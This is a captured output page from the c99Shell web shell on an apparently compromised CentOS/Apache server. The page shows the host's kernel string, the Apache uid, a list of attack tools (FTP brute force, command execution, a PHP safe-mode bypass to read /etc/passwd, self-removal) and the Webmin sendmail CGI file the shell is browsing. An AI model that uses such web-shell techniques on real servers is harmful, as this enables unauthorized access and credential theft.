!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/sendmail/   drwxr-xr-x
Free 50.89 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     list_features.cgi (2.96 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# list_features.cgi
# Display a list of all sendmail features from the M4 file

require './sendmail-lib.pl';
require './features-lib.pl';

$features_access || &error($text{'features_ecannot'});
&ui_print_header(undef, $text{'features_title'}, "");

@features = &list_features() if (-r $config{'sendmail_mc'} &&
                 -r "$config{'sendmail_features'}/feature");
if (@features) {
    # Show table of features
    print &text('features_desc', "<tt>$config{'sendmail_mc'}</tt>",
            "<tt>$config{'sendmail_cf'}</tt>"),"<p>\n";
    print "<form action=edit_feature.cgi>\n";
    print "<input type=hidden name=new value=1>\n";
    print "<table cellpadding=0 cellspacing=0 width=100%>\n";
    print "<tr $tb> <td><b>$text{'features_type'}</b></td>\n";
    print "<td><b>$text{'features_value'}</b></td>\n";
    print "<td><b>$text{'features_move'}</b></td> </tr>\n";
    local $i = 0;
    foreach $f (@features) {
        print "<tr $cb>\n";
        print "<td><a href='edit_feature.cgi?idx=$f->{'index'}'>";
        print "<b>" if ($f->{'type'});
        print $text{"features_type".$f->{'type'}};
        print "</b>" if ($f->{'type'});
        print "</a></td>\n";
        print "<td><tt>",$f->{'text'} ? &html_escape($f->{'text'})
                          : "<br>","</tt></td>\n";
        print "</tt></td>\n";
        print "<td>";
        if ($i == @features-1) {
            print "<img src=images/gap.gif>";
            }
        else {
            print "<a href='move.cgi?idx=$i&down=1'>",
                  "<img border=0 src=images/down.gif></a>";
            }
        if ($i == 0) {
            print "<img src=images/gap.gif>";
            }
        else {
            print "<a href='move.cgi?idx=$i&up=1'>",
                  "<img border=0 src=images/up.gif></a>";
            }
        print "</td>\n";
        print "</tr>\n";
        $i++;
        }
    print "</table>\n";
    print "<table width=100%><tr><td>\n";
    print "<input type=submit value='$text{'features_add'}'>\n";
    print "<select name=type>\n";
    foreach $i (0, 1, 2, 4, 5) {
        print "<option value=$i>",$text{'features_type'.$i},"\n";
        }
    print "</select></td>\n";
    print "<td align=right><input type=submit name=manual ",
          "value='$text{'features_manual'}'></td>\n";
    print "</tr></table></form>\n";

    # Show button to rebuild sendmail.cf
    print &ui_hr();
    print "<form action=build.cgi>\n";
    print "<table width=100%><tr>\n";
    print "<td><input type=submit value='$text{'features_build'}'></td>\n";
    print "<td>",&text('features_buildmsg', "<tt>$config{'sendmail_cf'}</tt>"),
          "</td>\n";
    print "</tr></table>\n";
    }
else {
    # Features file is not setup yet ..
    if (!$config{'sendmail_mc'} || !$config{'sendmail_features'}) {
        print "<p>",&text('features_econfig',
                  "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n";
        }
    elsif (!-r $config{'sendmail_mc'}) {
        print "<p>",&text('features_emc', "$gconfig{'webprefix'}/config.cgi?$module_name",
                  "<tt>$config{'sendmail_mc'}</tt>"),"<p>\n";
        }
    elsif (!-r "$config{'sendmail_features'}/feature") {
        print "<p>",&text('features_efeatures', "$gconfig{'webprefix'}/config.cgi?$module_name",
                  "<tt>$config{'sendmail_features'}</tt>"),"<p>\n";
        }
    }

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--